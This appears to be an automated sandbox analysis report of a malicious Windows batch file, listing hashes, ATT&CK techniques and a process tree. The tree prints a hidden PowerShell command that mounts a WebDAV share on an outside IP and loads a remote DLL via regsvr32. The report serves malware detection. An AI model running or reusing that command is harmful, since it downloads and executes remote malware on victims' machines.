b01d1f28f87295fd14aa245d97085d560db752167a3b277e911951ccd39085ac

Analysis

max time kernel
143s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 19:29

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General

Target

29295207702111124541.bat
Size

22KB
MD5

7c30b777788aa6f2288958fbf3b206d4
SHA1

756310bab2696c8a841ce8a76ce3918d729b5d14
SHA256

b01d1f28f87295fd14aa245d97085d560db752167a3b277e911951ccd39085ac
SHA512

766978a61f7d5e805db0c7130f49cbfe2b6bfafa63a02764480d824e167dd9ffb1063e34fe42285dcc05c6651b5de9f5163e03e4068350275f56744b1f521c3d
SSDEEP

384:FP+E5uKySg+GSfKBM6ZF/mFccJtKqYfL7R/471WIFHVa4wMop72aOrBA1nx:FP+EAKk+GS2MA2c0KJmdF3wzUIx

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
116	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
116	powershell.exe
116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	116	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2132	wordpad.exe
2132	wordpad.exe
2132	wordpad.exe
2132	wordpad.exe
2132	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1904 wrote to memory of 2132	1904	cmd.exe	85
PID 1904 wrote to memory of 2132	1904	cmd.exe	85
PID 1904 wrote to memory of 116	1904	cmd.exe	88
PID 1904 wrote to memory of 116	1904	cmd.exe	88
PID 116 wrote to memory of 1004	116	powershell.exe	90
PID 116 wrote to memory of 1004	116	powershell.exe	90
PID 116 wrote to memory of 4924	116	powershell.exe	91
PID 116 wrote to memory of 4924	116	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\29295207702111124541.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\109821066012052.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1004
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\109821066012052.dll
    3⤵
    PID:4924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_szsz4bjm.mlq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/116-9-0x00000270F6FA0000-0x00000270F6FC2000-memory.dmp

Filesize
136KB

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